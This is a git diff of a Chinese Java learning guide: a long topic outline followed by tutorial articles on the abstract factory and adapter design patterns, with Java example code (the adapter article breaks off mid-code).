+ * 迪米特法则(最少知道原则)(Demeter Principle)
+
+ * 合成复用原则(Composite Reuse Principle)
+
+ * 创建型设计模式
+
+ * [单例模式](/advance/design-patterns/singleton-pattern.md)
+
+ * [抽象工厂模式](/advance/design-patterns/abstract-factory-pattern.md)
+
+ * [建造者模式](/advance/design-patterns/builder-pattern.md)
+
+ * [工厂模式](/advance/design-patterns/factory-method-pattern.md)
+
+ * 原型模式
+
+ * 结构型设计模式
+
+ * [适配器模式](/advance/design-patterns/adapter-pattern.md)
+
+ * 桥接模式
+
+ * 装饰模式
+
+ * 组合模式
+
+ * 外观模式
+
+ * 享元模式
+
+ * 代理模式
+
+ * 行为型设计模式
+
+ * 模版方法模式
+
+ * 命令模式
+
+ * [迭代器模式](/advance/design-patterns/iterator-pattern.md)
+
+ * 观察者模式
+
+ * 中介者模式
+
+ * 备忘录模式
+
+ * 解释器模式
+
+ * 状态模式
+
+ * [策略模式](/advance/design-patterns/strategy-pattern.md)
+
+ * 责任链模式
+
+ * 访问者模式
+
+ * 单例的七种写法
+
+ * 懒汉——线程不安全
+
+ * 懒汉——线程安全
+
+ * 饿汉
+
+ * 饿汉——变种
+
+ * 静态内部类
+
+ * 枚举
+
+ * 双重校验锁
+
+ * 为什么推荐使用枚举实现单例?
+
+ * 三种工厂模式的区别及联系
+
+ * 简单工厂、工厂方法、模板工厂
+
+ * 会使用常用设计模式
+
+ * 工厂模式
+
+ * 适配器模式
+
+ * 策略模式
+
+ * 模板方法模式
+
+ * 观察者模式
+
+ * 外观模式
+
+ * 代理模式
+
+ * 不用synchronized和lock,实现线程安全的单例模式
+
+ * nio和reactor设计模式
+
+ * Spring中用到了哪些设计模式
+
+ * 网络编程知识
+
+ * 常用协议
+
+ * tcp、udp、http、https
+
+ * 用Java实现FTP、SMTP协议
+
+ * OSI七层模型
+
+ * 每一层的主要协议
+
+ * TCP/UDP
+
+ * 三次握手与四次关闭
+
+ * 流量控制和拥塞控制
+
+ * tcp粘包与拆包
+
+ * TCP/IP
+
+ * IPV4
+
+ * IPV6
+
+ * HTTP
+ * http/1.0 http/1.1 http/2之间的区别
+
+ * http和https的区别
+
+ * http中 get和post区别
+
+ * 常见的web请求返回的状态码
+
+ * 404、302、301、500分别代表什么
+
+ * 用Java写一个简单的静态文件的HTTP服务器
+
+ * HTTP/2
+
+ * HTTP/2 存在哪些问题?
+
+ * HTTP/3
+
+ * Java RMI,Socket,HttpClient
+
+ * cookie 与 session
+
+ * cookie被禁用,如何实现session
+
+ * 了解nginx和apache服务器的特性并搭建一个对应的服务器
+
+ * 进程间通讯的方式
+
+ * 什么是CDN?如果实现?
+
+ * DNS?
+
+ * 什么是DNS
+
+ * 记录类型:A记录、CNAME记录、AAAA记录等
+
+ * 域名解析
+
+ * 根域名服务器
+
+ * DNS污染
+
+ * DNS劫持
+
+ * 公共DNS:114 DNS、Google DNS、OpenDNS
+
+ * 反向代理
+
+ * 正向代理
+
+ * 反向代理
+
+ * 反向代理服务器
+
+ * 框架知识
+
+ * Servlet
+
+ * 生命周期
+
+ * 线程安全问题
+
+ * filter和listener
+
+ * web.xml中常用配置及作用
+
+ * Hibernate
+
+ * 什么是OR Mapping
+
+ * Hibernate的缓存机制
+
+ * Hibernate的懒加载
+
+ * Hibernate/Ibatis/MyBatis之间的区别
+
+ * MyBatis
+
+ * Mybatis缓存机制
+
+ * `#{}`和`${}`的区别
+
+ * mapper中传递多个参数
+
+ * Mybatis动态sql
+
+ * Mybatis的延迟加载
+
+ * Spring
+
+ * Bean的初始化
+
+ * AOP原理
+
+ * Spring AOP不支持方法自调用的问题
+
+ * 实现Spring的IOC
+
+ * spring四种依赖注入方式
+
+ * 为什么我不建议使用@Transactional声明事务
+
+ * Spring MVC
+
+ * 什么是MVC
+
+ * Spring mvc与Struts mvc的区别
+
+ * Spring Boot
+
+ * Spring Boot 2.0
+
+ * 起步依赖
+
+ * 自动配置
+
+ * Spring Boot的starter原理
+
+ * 自己实现一个starter
+
+ * 为什么Spring Boot可以通过main启动web项目
+
+ * Spring Security
+
+ * Spring Cloud
+
+ * 服务发现与注册:Eureka、Zookeeper、Consul
+
+ * 负载均衡:Feign、Spring Cloud Loadbalance
+
+ * 服务配置:Spring Cloud Config
+
+ * 服务限流与熔断:Hystrix
+
+ * 服务链路追踪:Dapper
+
+ * 服务网关、安全、消息
+
+ * 应用服务器知识
+
+ * JBoss
+
+ * tomcat
+
+ * jetty
+
+ * Weblogic
+
+ * 工具
+
+ * git & svn
+
+ * maven & gradle
+
+ * git技巧
+
+ * 分支合并
+
+ * 冲突解决
+
+ * 提交回滚
+
+ * maven技巧
+
+ * 依赖树
+
+ * 依赖仲裁
+
+ * Intellij IDEA
+ * 常用插件:Maven Helper、FindBugs-IDEA、阿里巴巴代码规约检测、GsonFormat、Lombok plugin、.ignore、Mybatis plugin
+
+* 高级篇
+
+ * 新技术
+
+ * Java 9
+
+ * Jigsaw
+ * Jshell
+ * Reactive Streams
+
+ * Java 10
+
+ * 局部变量类型推断
+ * G1的并行Full GC
+ * ThreadLocal握手机制
+
+ * Java 11
+
+ * ZGC
+ * Epsilon
+ * 增强var
+ * Java 12
+
+ * Switch 表达式
+
+ * Java 13
+
+ * Text Blocks
+ * Dynamic CDS Archives
+
+ * Java 14
+
+ * Java打包工具
+
+ * 更有价值的NullPointerException
+
+ * record类型
+
+ * Spring 5
+
+ * 响应式编程
+
+ * Spring Boot 2.0
+
+ * http/2
+
+ * http/3
+
+ * 性能优化
+
+ * 使用单例
+
+ * 使用Future模式
+
+ * 使用线程池
+
+ * 选择就绪
+
+ * 减少上下文切换
+
+ * 减少锁粒度
+
+ * 数据压缩
+
+ * 结果缓存
+
+ * Stream并行流
+
+ * GC调优
+
+ * JVM内存分配调优
+
+ * SQL调优
+
+ * 线上问题分析
+
+ * dump
+
+ * 线程Dump
+
+ * 内存Dump
+
+ * gc情况
+
+ * dump获取及分析工具
+
+ * jstack
+
+ * jstat
+
+ * jmap
+
+ * jhat
+
+ * Arthas
+
+ * dump分析死锁
+
+ * dump分析内存泄露
+
+ * 自己编写各种outofmemory,stackoverflow程序
+
+ * HeapOutOfMemory
+
+ * Young OutOfMemory
+
+ * MethodArea OutOfMemory
+
+ * ConstantPool OutOfMemory
+
+ * DirectMemory OutOfMemory
+
+ * Stack OutOfMemory Stack OverFlow
+
+ * Arthas
+
+ * jvm相关
+
+ * class/classloader相关
+
+ * monitor/watch/trace相关
+
+ * options
+
+ * 管道
+
+ * 后台异步任务
+
+ * 常见问题解决思路
+
+ * 内存溢出
+
+ * 线程死锁
+
+ * 类加载冲突
+
+ * load飙高
+
+ * CPU利用率飙高
+
+ * 慢SQL
+
+ * 使用工具尝试解决以下问题,并写下总结
+
+ * 当一个Java程序响应很慢时如何查找问题
+
+ * 当一个Java程序频繁FullGC时如何解决问题
+
+ * 如何查看垃圾回收日志
+
+ * 当一个Java应用发生OutOfMemory时该如何解决
+
+ * 如何判断是否出现死锁
+
+ * 如何判断是否存在内存泄露
+
+ * 使用Arthas快速排查Spring Boot应用404/401问题
+
+ * 使用Arthas排查线上应用日志打满问题
+
+ * 利用Arthas排查Spring Boot应用NoSuchMethodError
+
+ * 编译原理知识
+
+ * 编译与反编译
+
+ * Java代码的编译与反编译
+
+ * Java的反编译工具
+
+ * javap
+
+ * jad
+
+ * CRF
+
+ * 即时编译器
+
+ * 编译器优化
+
+ * 操作系统知识
+
+ * Linux的常用命令
+
+ * find、grep、ps、cp、move、tar、head、tail、netstat、lsof、tree、wget、curl、ping、ssh、echo、free、top
+
+ * 为什么kill -9 不能随便执行
+
+ * rm一个被打开的文件会发生什么
+ * rm一个被打开的文件会发生什么
+
+ * 进程间通信
+
+ * 服务器性能指标
+
+ * load
+
+ * CPU利用率
+
+ * 内存使用情况
+
+ * qps
+
+ * rt
+
+ * 进程同步
+
+ * 生产者消费者问题
+
+ * 哲学家就餐问题
+
+ * 读者写者问题
+
+ * 缓冲区溢出
+
+ * 分段和分页
+
+ * 虚拟内存与主存
+
+ * 虚拟内存管理
+
+ * 换页算法
+
+ * 数据库知识
+
+ * MySql 执行引擎
+
+ * MySQL 执行计划
+
+ * 如何查看执行计划
+
+ * 如何根据执行计划进行SQL优化
+
+ * 索引
+
+ * Hash索引&B树索引
+
+ * 普通索引&唯一索引
+
+ * 聚集索引&非聚集索引
+
+ * 覆盖索引
+
+ * 最左前缀原则
+
+ * 索引下推
+
+ * 索引失效
+
+ * 回表
+
+ * SQL优化
+
+ * 数据库事务和隔离级别
+
+ * 事务的ACID
+
+ * 事务的隔离级别与读现象
+
+ * 事务能不能实现锁的功能
+
+ * 编码方式
+
+ * utf8
+
+ * utf8mb4
+
+ * 为什么不要在数据库中使用utf8编码
+
+ * 行数统计
+
+ * count(1)、count(*)、count(字段)的区别
+
+ * 为什么建议使用count(*)
+
+ * 数据库锁
+
+ * 共享锁、排它锁
+
+ * 行锁、表锁
+
+ * 乐观锁、悲观锁
+
+ * 使用数据库锁实现乐观锁
+
+ * Gap Lock、Next-Key Lock
+
+ * 连接
+
+ * 内连接
+
+ * 左连接
+
+ * 右连接
+
+ * 数据库主备搭建
+
+ * log
+
+ * binlog
+
+ * redolog
+
+ * 内存数据库
+
+ * h2
+
+ * 分库分表
+
+ * 读写分离
+
+ * 常用的nosql数据库
+
+ * redis
+
+ * memcached
+
+ * Redis
+
+ * Redis多线程
+
+ * 分别使用数据库锁、NoSql实现分布式锁
+
+ * 性能调优
+
+ * 数据库连接池
+
+ * 数据结构与算法知识
+
+ * 简单的数据结构
+
+ * 栈
+ * 队列
+
+ * 链表
+
+ * 数组
+
+ * 哈希表
+
+ * 栈和队列的相同和不同之处
+
+ * 栈通常采用的两种存储结构
+
+ * 两个栈实现队列,和两个队列实现栈
+
+ * 树
+
+ * 二叉树
+
+ * 字典树
+
+ * 平衡树
+
+ * 排序树
+
+ * B树
+
+ * B+树
+
+ * R树
+
+ * 多路树
+
+ * 红黑树
+
+ * 堆
+
+ * 大根堆
+
+ * 小根堆
+
+ * 图
+
+ * 有向图
+
+ * 无向图
+
+ * 拓扑
+
+ * 稳定的排序算法
+ * 冒泡排序
+ * 插入排序
+ * 鸡尾酒排序
+ * 桶排序
+ * 计数排序
+ * 归并排序
+ * 原地归并排序
+ * 二叉排序树排序
+ * 鸽巢排序
+ * 基数排序
+ * 侏儒排序
+ * 图书馆排序
+ * 块排序
+
+ * 不稳定的排序算法
+ * 选择排序
+ * 希尔排序
+ * Clover排序算法
+ * 梳排序
+ * 堆排序
+ * 平滑排序
+ * 快速排序
+ * 内省排序
+ * 耐心排序
+
+ * 各种排序算法和时间复杂度
+
+ * 深度优先和广度优先搜索
+
+ * 全排列
+
+ * 贪心算法
+
+ * KMP算法
+
+ * hash算法
+
+ * 海量数据处理
+
+ * 分治
+ * hash映射
+ * 堆排序
+ * 双层桶划分
+ * Bloom Filter
+ * bitmap
+ * 数据库索引
+ * mapreduce等。
+
+ * 大数据知识
+
+ * 搜索
+
+ * Solr
+
+ * Lucene
+
+ * ElasticSearch
+
+ * 流式计算
+
+ * Storm
+
+ * Spark
+
+ * Flink
+
+ * Hadoop,离线计算
+
+ * HDFS
+
+ * MapReduce
+
+ * 分布式日志收集
+
+ * flume
+
+ * kafka
+
+ * logstash
+
+ * 数据挖掘
+
+ * mahout
+
+ * 网络安全知识
+
+ * XSS
+
+ * XSS的防御
+
+ * CSRF
+
+ * 注入攻击
+
+ * SQL注入
+ * XML注入
+ * CRLF注入
+
+ * 文件上传漏洞
+
+ * 加密与解密
+
+ * 对称加密
+ * 非对称加密
+ * 哈希算法
+ * 加盐哈希算法
+
+ * 加密算法
+
+ * MD5,SHA1、DES、AES、RSA、DSA
+
+ * 彩虹表
+
+ * DDOS攻击
+
+ * DOS攻击
+ * DDOS攻击
+
+ * memcached为什么可以导致DDos攻击
+
+ * 什么是反射型DDoS
+
+ * 如何通过Hash碰撞进行DOS攻击
+
+ * SSL、TLS,HTTPS
+
+ * 脱库、洗库、撞库
+
+* 架构篇
+
+ * 架构设计原则
+
+ * 单一职责原则
+
+ * 开放封闭原则
+
+ * 里氏替代原则
+
+ * 依赖倒置原则
+
+ * 接口分离原则
+
+ * 分布式
+
+ * 分布式理论
+
+ * 2PC
+
+ * 3PC
+
+ * CAP
+
+ * BASE
+
+ * 分布式协调 Zookeeper
+
+ * 基本概念
+
+ * 常见用法
+
+ * ZAB算法
+
+ * 脑裂
+
+ * 分布式事务
+ * 本地事务&分布式事务
+
+ * 可靠消息最终一致性
+
+ * 最大努力通知
+
+ * TCC
+
+ * Dubbo
+
+ * 服务注册
+ * 服务发现
+ * 服务治理
+
+ * 分布式数据库
+
+ * 怎样打造一个分布式数据库
+
+ * 什么时候需要分布式数据库
+
+ * mycat
+
+ * otter
+
+ * HBase
+
+ * 分布式文件系统
+
+ * mfs
+ * fastdfs
+
+ * 分布式缓存
+
+ * 缓存一致性
+ * 缓存命中率
+ * 缓存冗余
+
+ * 限流降级
+
+ * 熔断器模式
+
+ * Hystrix
+
+ * Sentinal
+
+ * resilience4j
+
+ * 分布式算法
+
+ * 拜占庭问题与算法
+
+ * 2PC
+
+ * 3PC
+
+ * 共识算法
+
+ * Paxos 算法与 Raft 算法
+
+ * ZAB算法
+
+ * 领域驱动设计
+
+ * 实体、值对象
+
+ * 聚合、聚合根
+
+ * 限界上下文
+
+ * DDD如何分层
+
+ * 充血模型和贫血模型
+
+ * DDD和微服务有什么关系
+ * 微服务
+
+ * SOA
+
+ * 康威定律
+
+ * ServiceMesh
+
+ * sidecar
+
+ * Docker & Kubernets
+
+ * Spring Boot
+
+ * Spring Cloud
+
+ * 高并发
+
+ * 分库分表
+
+ * 横向拆分与水平拆分
+
+ * 分库分表后的分布式事务问题
+
+ * CDN技术
+
+ * 消息队列
+
+ * RabbitMQ、RocketMQ、ActiveMQ、Kafka
+
+ * 各个消息队列的对比
+
+ * 高可用
+
+ * 双机架构
+
+ * 主备复制
+
+ * 主从复制
+
+ * 主主复制
+
+ * 异地多活
+
+ * 预案
+
+ * 预热
+
+ * 限流
+
+ * 高性能
+
+ * 高性能数据库
+
+ * 读写分离
+
+ * 分库分表
+
+ * 高性能缓存
+
+ * 缓存穿透
+
+ * 缓存雪崩
+
+ * 缓存热点
+
+ * 负载均衡
+
+ * PPC、TPC
+
+ * 监控
+
+ * 监控什么
+
+ * CPU
+
+ * 内存
+
+ * 磁盘I/O
+
+ * 网络I/O
+
+ * 监控手段
+
+ * 进程监控
+
+ * 语义监控
+
+ * 机器资源监控
+
+ * 数据波动
+
+ * 监控数据采集
+
+ * 日志
+ * 埋点
+
+ * Dapper
+
+ * 负载均衡
+
+ * 负载均衡分类
+
+ * 二层负载均衡
+
+ * 三层负载均衡
+
+ * 四层负载均衡
+
+ * 七层负载均衡
+
+ * 负载均衡工具
+
+ * LVS
+
+ * Nginx
+
+ * HAProxy
+
+ * 负载均衡算法
+
+ * 静态负载均衡算法:轮询,比率,优先权
+
+ * 动态负载均衡算法: 最少连接数,最快响应速度,观察方法,预测法,动态性能分配,动态服务器补充,服务质量,服务类型,规则模式。
+
+ * DNS
+
+ * DNS原理
+
+ * DNS的设计
+
+ * CDN
+
+ * 数据一致性
+
+* 扩展篇
+
+ * 云计算
+
+ * IaaS
+
+ * SaaS
+
+ * PaaS
+
+ * 虚拟化技术
+
+ * openstack
+
+ * Serverlsess
+
+ * 搜索引擎
+
+ * Solr
+
+ * Lucene
+
+ * Nutch
+
+ * Elasticsearch
+
+ * 权限管理
+
+ * Shiro
+
+ * 区块链
+
+ * 哈希算法
+ * Merkle树
+ * 公钥密码算法
+ * 共识算法
+ * Raft协议
+ * Paxos 算法与 Raft 算法
+ * 拜占庭问题与算法
+ * 消息认证码与数字签名
+
+ * 比特币
+
+ * 挖矿
+ * 共识机制
+ * 闪电网络
+ * 侧链
+ * 热点问题
+ * 分叉
+
+ * 以太坊
+
+ * 超级账本
+
+ * 人工智能
+
+ * 数学基础
+ * 机器学习
+ * 人工神经网络
+ * 深度学习
+ * 应用场景
+
+ * 常用框架
+
+ * TensorFlow
+ * DeepLearning4J
+
+ * IoT
+
+ * 量子计算
+
+ * AR & VR
+
+ * 其他语言
+
+ * Groovy
+
+ * Kotlin
+
+ * Python
+
+ * Go
+
+ * NodeJs
+
+ * Swift
+
+ * Rust
\ No newline at end of file
diff --git a/docs/advance/design-patterns/abstract-factory-pattern.md b/docs/advance/design-patterns/abstract-factory-pattern.md
new file mode 100644
index 00000000..ab115aa1
--- /dev/null
+++ b/docs/advance/design-patterns/abstract-factory-pattern.md
@@ -0,0 +1,165 @@
+## 概念
+
+抽象工厂模式(Abstract Factory Pattern):提供一个创建一系列相关或相互依赖对象的接口,而无须指定它们具体的类。抽象工厂模式又称为Kit模式,属于对象创建型模式。
+
+抽象工厂模式提供了一种方式,可以将同一产品族的单独的工厂封装起来。在正常使用中,客户端程序需要创建抽象工厂的具体实现,然后使用抽象工厂作为接口来创建这一主题的具体对象。客户端程序不需要知道(或关心)它从这些内部的工厂方法中获得对象的具体类型,因为客户端程序仅使用这些对象的通用接口。抽象工厂模式将一组对象的实现细节与他们的一般使用分离开来。
+
+### 产品族
+
+来认识下什么是产品族: 位于不同产品等级结构中,功能相关的产品组成的家族。如下面的例子,就有两个产品族:跑车族和商务车族。
+
+[ ][5]
+
+## 用途
+
+抽象工厂模式和工厂方法模式一样,都符合开放-封闭原则。但是不同的是,工厂方法模式在增加一个具体产品的时候,都要增加对应的工厂。但是抽象工厂模式只有在新增一个类型的具体产品时才需要新增工厂。也就是说,工厂方法模式的一个工厂只能创建一个具体产品。而抽象工厂模式的一个工厂可以创建属于一类类型的多种具体产品。工厂创建产品的个数介于简单工厂模式和工厂方法模式之间。
+
+在以下情况下可以使用抽象工厂模式:
+
+> 一个系统不应当依赖于产品类实例如何被创建、组合和表达的细节,这对于所有类型的工厂模式都是重要的。
+>
+> 系统中有多于一个的产品族,而每次只使用其中某一产品族。
+>
+> 属于同一个产品族的产品将在一起使用,这一约束必须在系统的设计中体现出来。
+>
+> 系统提供一个产品类的库,所有的产品以同样的接口出现,从而使客户端不依赖于具体实现。
+
+## 实现方式
+
+抽象工厂模式包含如下角色:
+
+> AbstractFactory(抽象工厂):用于声明生成抽象产品的方法
+>
+> ConcreteFactory(具体工厂):实现了抽象工厂声明的生成抽象产品的方法,生成一组具体产品,这些产品构成了一个产品族,每一个产品都位于某个产品等级结构中;
+>
+> AbstractProduct(抽象产品):为每种产品声明接口,在抽象产品中定义了产品的抽象业务方法;
+>
+> Product(具体产品):定义具体工厂生产的具体产品对象,实现抽象产品接口中定义的业务方法。
+
+本文的例子采用一个汽车代工厂造汽车的例子。假设我们是一家汽车代工厂商,我们负责给奔驰和特斯拉两家公司制造车子。我们简单的把奔驰车理解为需要加油的车,特斯拉为需要充电的车。其中奔驰车中包含跑车和商务车两种,特斯拉同样也包含跑车和商务车。
+
+[ ][6]
+
+以上场景,我们就可以把跑车和商务车分别对待,对于跑车有单独的工厂创建,商务车也有单独的工厂。这样,以后无论是再帮任何其他厂商造车,只要是跑车或者商务车我们都不需要再引入工厂。同样,如果我们要增加一种其他类型的车,比如越野车,我们也不需要对跑车或者商务车的任何东西做修改。
+
+下面是抽象产品,奔驰车和特斯拉车:
+
+ public interface BenzCar {
+
+ //加汽油
+ public void gasUp();
+
+ }
+
+ public interface TeslaCar {
+
+ //充电
+ public void charge();
+ }
+
+
+下面是具体产品,奔驰跑车、奔驰商务车、特斯拉跑车、特斯拉商务车:
+
+ public class BenzSportCar implements BenzCar {
+ public void gasUp() {
+ System.out.println("给我的奔驰跑车加最好的汽油");
+ }
+ }
+
+ public class BenzBusinessCar implements BenzCar{
+ public void gasUp() {
+ System.out.println("给我的奔驰商务车加一般的汽油");
+ }
+ }
+
+ public class TeslaSportCar implements TeslaCar {
+ public void charge() {
+ System.out.println("给我特斯拉跑车冲满电");
+ }
+ }
+
+ public class TeslaBusinessCar implements TeslaCar {
+ public void charge() {
+ System.out.println("不用给我特斯拉商务车冲满电");
+ }
+ }
+
+
+下面是抽象工厂:
+
+ public interface CarFactory {
+
+ public BenzCar getBenzCar();
+ public TeslaCar getTeslaCar();
+ }
+
+
+下面是具体工厂:
+
+ public class SportCarFactory implements CarFactory {
+ public BenzCar getBenzCar() {
+ return new BenzSportCar();
+ }
+
+ public TeslaCar getTeslaCar() {
+ return new TeslaSportCar();
+ }
+ }
+
+ public class BusinessCarFactory implements CarFactory {
+ public BenzCar getBenzCar() {
+ return new BenzBusinessCar();
+ }
+
+ public TeslaCar getTeslaCar() {
+ return new TeslaBusinessCar();
+ }
+ }
+
+
+## “开闭原则”的倾斜性
+
+“开闭原则”要求系统对扩展开放,对修改封闭,通过扩展达到增强其功能的目的。对于涉及到多个产品族与多个产品等级结构的系统,其功能增强包括两方面:
+
+> 增加产品族:对于增加新的产品族,工厂方法模式很好的支持了“开闭原则”,对于新增加的产品族,只需要对应增加一个新的具体工厂即可,对已有代码无须做任何修改。
+>
+> 增加新的产品等级结构:对于增加新的产品等级结构,需要修改所有的工厂角色,包括抽象工厂类,在所有的工厂类中都需要增加生产新产品的方法,不能很好地支持“开闭原则”。
+
+抽象工厂模式的这种性质称为“开闭原则”的倾斜性,抽象工厂模式以一种倾斜的方式支持增加新的产品,它为新产品族的增加提供方便,但不能为新的产品等级结构的增加提供这样的方便。
+
+## 三种工厂模式之间的关系
+
+当抽象工厂模式中每一个具体工厂类只创建一个产品对象,也就是只存在一个产品等级结构时,抽象工厂模式退化成工厂方法模式;
+
+抽象工厂模式与工厂方法模式最大的区别在于,工厂方法模式针对的是一个产品等级结构,而抽象工厂模式则需要面对多个产品等级结构。
+
+当工厂方法模式中抽象工厂与具体工厂合并,提供一个统一的工厂来创建产品对象,并将创建对象的工厂方法设计为静态方法时,工厂方法模式退化成简单工厂模式。
+
+## 总结
+
+抽象工厂模式提供一个创建一系列相关或相互依赖对象的接口,而无须指定它们具体的类。抽象工厂模式又称为Kit模式,属于对象创建型模式。
+
+抽象工厂模式是所有形式的工厂模式中最为抽象和最具一般性的一种形态。
+
+抽象工厂模式的主要优点是隔离了具体类的生成,使得客户并不需要知道什么被创建,而且每次可以通过具体工厂类创建一个产品族中的多个对象,增加或者替换产品族比较方便,增加新的具体工厂和产品族很方便;主要缺点在于增加新的产品等级结构很复杂,需要修改抽象工厂和所有的具体工厂类,对“开闭原则”的支持呈现倾斜性。
+
+文中所有代码见[GitHub][7]
+
+## 参考资料
+
+[大话设计模式][8]
+
+[深入浅出设计模式][9]
+
+[抽象工厂模式(Factory Method Pattern)][10]
+
+ [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F
+ [2]: http://www.hollischuang.com/archives/1401
+ [3]: http://www.hollischuang.com/archives/1408
+ [4]: http://www.hollischuang.com/archives/1391
+ [5]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160419-0.png
+ [6]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160419-1.png
+ [7]: https://github.com/hollischuang/DesignPattern
+ [8]: http://s.click.taobao.com/t?e=m=2&s=R5B/xd29JVMcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67jN2wQzI0ZBVHBMajAjK1gBpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZkKWZZq7zWpCC8X3k5aQlui0qVGgqDL2o8YMXU3NNCg/&pvid=10_42.120.73.203_224_1460382841310
+ [9]: http://s.click.taobao.com/t?e=m%3D2%26s%3DObpq8Qxse2EcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67utJaEGcptl2kfkm8XrrgBtpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2Bw2PNKvM2u52N5aP5%2Bgx7zgh4LxdBQDQSXEqY%2Bakgpmw&pvid=10_121.0.29.199_322_1460465025379
+ [10]: http://design-patterns.readthedocs.org/zh_CN/latest/creational_patterns/abstract_factory.html#id14
\ No newline at end of file
diff --git a/docs/advance/design-patterns/adapter-pattern.md b/docs/advance/design-patterns/adapter-pattern.md
new file mode 100644
index 00000000..49384606
--- /dev/null
+++ b/docs/advance/design-patterns/adapter-pattern.md
@@ -0,0 +1,266 @@
+
+## 概念
+
+GOF是这样给适配器模式(`Adapter`)定义的:将一个类的接口转化成用户需要的另外一个接口。Adapter模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。
+
+GOF中将适配器模式分为类适配器模式和对象适配器模式。区别仅在于适配器角色对于被适配角色的适配是通过继承还是组合来实现的。由于在Java 中不支持多重继承,而且有破坏封装之嫌。而且我们也提倡[多用组合少用继承][2]。所以本文主要介绍对象适配器。
+
+## 用途
+
+相信大家都有这样的生活常识:就是目前我们使用的电子设备充电器的型号是不一样的。现在主流的手机充电器口主要包含Mini Usb、Micro Usb和Lightning三种。其中Mini Usb广泛出现在读卡器、MP3、数码相机以及移动硬盘上。由于Micro Usb比Mini Usb更薄,所有广泛应用于手机上,常见于安卓手机。还有一个比较常见的充电器口就是苹果手机常用的Lightning。
+
+当然,特定型号的手机只能使用特定型号的充电器充电。比如Iphone6手机只能使用Lightning接口的充电器进行充电。但是,如果我们身边只有一条安卓的Micro Usb充电器线的话,我们能不能为苹果手机充电呢?答案是肯定的,只要有一个适配器就可以了。
+
+
+
+适配器,在我们日常生活中随处可见。适配器模式也正是解决了类似的问题。
+
+在程序设计过程中我们可能也遇到类似的场景:
+
+> 1、系统需要使用现有的类,而此类的接口不符合系统的需要。
+>
+> 2、想要建立一个可以重复使用的类,用于与一些彼此之间没有太大关联的一些类,包括一些可能在将来引进的类一起工作,这些源类不一定有一致的接口。
+>
+> 3、通过接口转换,将一个类插入另一个类系中。(比如老虎和飞禽,现在多了一个飞虎,在不增加实体的需求下,增加一个适配器,在里面包容一个虎对象,实现飞的接口。)
+
+以上场景都适合使用适配器模式。
+
+## 实现方式
+
+适配器模式包含如下角色:
+
+> Target:目标抽象类
+>
+> Adapter:适配器类
+>
+> Adaptee:适配者类
+>
+> Client:客户类
+
+
+
+这里采用文章开头介绍的手机充电口的例子,我们定义一个适配器,该适配器的功能就是使用安卓充电器给苹果设备充电。
+
+先定义接口:
+
+ /**
+ * MicroUsb充电器接口
+ */
+ public interface MicroUsbInterface {
+ public void chargeWithMicroUsb();
+ }
+
+ /**
+ * Lightning充电器接口
+ */
+ public interface LightningInterface {
+ public void chargeWithLightning();
+ }
+
+
+定义具体的实现类
+
+ /**
+ * 安卓设备的充电器
+ */
+ public class AndroidCharger implements MicroUsbInterface {
+ @Override
+ public void chargeWithMicroUsb() {
+ System.out.println("使用MicroUsb型号的充电器充电...");
+ }
+ }
+
+ /**
+ * 苹果设备的充电器
+ */
+ public class AppleCharger implements LightningInterface {
+ @Override
+ public void chargeWithLightning() {
+ System.out.println("使用Lightning型号的充电器充电...");
+ }
+ }
+
+
+> 因为我们要使用适配器模式将MicroUsb转成Lightning,所以这里的AppleCharger是本来不需要定义的。因为我们使用适配器的目的就是代替新建一个他。这里定义出来是为了使例子更加完整。
+
+定义两个手机
+
+ public class Iphone6Plus {
+
+ private LightningInterface lightningInterface;
+
+ public Iphone6Plus() {
+ }
+
+ public Iphone6Plus(LightningInterface lightningInterface) {
+ this.lightningInterface = lightningInterface;
+ }
+
+ public void charge() {
+ System.out.println("开始给我的Iphone6Plus手机充电...");
+ lightningInterface.chargeWithLightning();
+ System.out.println("结束给我的Iphone6Plus手机充电...");
+ }
+
+ public LightningInterface getLightningInterface() {
+ return lightningInterface;
+ }
+
+ public void setLightningInterface(LightningInterface lightningInterface) {
+ this.lightningInterface = lightningInterface;
+ }
+ }
+
+ public class GalaxyS7 {
+
+ private MicroUsbInterface microUsbInterface;
+
+ public GalaxyS7() {
+ }
+
+ public GalaxyS7(MicroUsbInterface microUsbInterface) {
+ this.microUsbInterface = microUsbInterface;
+ }
+
+ public void charge(){
+ System.out.println("开始给我的GalaxyS7手机充电...");
+ microUsbInterface.chargeWithMicroUsb();
+ System.out.println("结束给我的GalaxyS7手机充电...");
+ }
+
+ public MicroUsbInterface getMicroUsbInterface() {
+ return microUsbInterface;
+ }
+
+ public void setMicroUsbInterface(MicroUsbInterface microUsbInterface) {
+ this.microUsbInterface = microUsbInterface;
+ }
+ }
+
+
+这里定义手机的作用是为了更方便的理解适配器模式,在该模式中他不扮演任何角色。
+
+定义适配器
+
+ /**
+ * 适配器,将MicroUsb接口转成Lightning接口
+ */
+ public class Adapter implements LightningInterface {
+ private MicroUsbInterface microUsbInterface;
+
+ public Adapter() {
+ }
+
+ public Adapter(MicroUsbInterface microUsbInterface) {
+ this.microUsbInterface = microUsbInterface;
+ }
+
+ @Override
+ public void chargeWithLightning() {
+ microUsbInterface.chargeWithMicroUsb();
+ }
+
+ public MicroUsbInterface getMicroUsbInterface() {
+ return microUsbInterface;
+ }
+
+ public void setMicroUsbInterface(MicroUsbInterface microUsbInterface) {
+ this.microUsbInterface = microUsbInterface;
+ }
+ }
+
+
+该适配器的功能是把一个MicroUsb转换成Lightning。实现方式是实现目标类的接口(`LightningInterface`),然后使用组合的方式,在该适配器中定义microUsb。然后在重写的`chargeWithLightning()`方法中,采用microUsb的方法来实现具体细节。
+
+定义客户端
+
+ public class Main {
+
+ public static void main(String[] args) {
+ Iphone6Plus iphone6Plus = new Iphone6Plus(new AppleCharger());
+ iphone6Plus.charge();
+
+ System.out.println("==============================");
+
+ GalaxyS7 galaxyS7 = new GalaxyS7(new AndroidCharger());
+ galaxyS7.charge();
+
+ System.out.println("==============================");
+
+ Adapter adapter = new Adapter(new AndroidCharger());
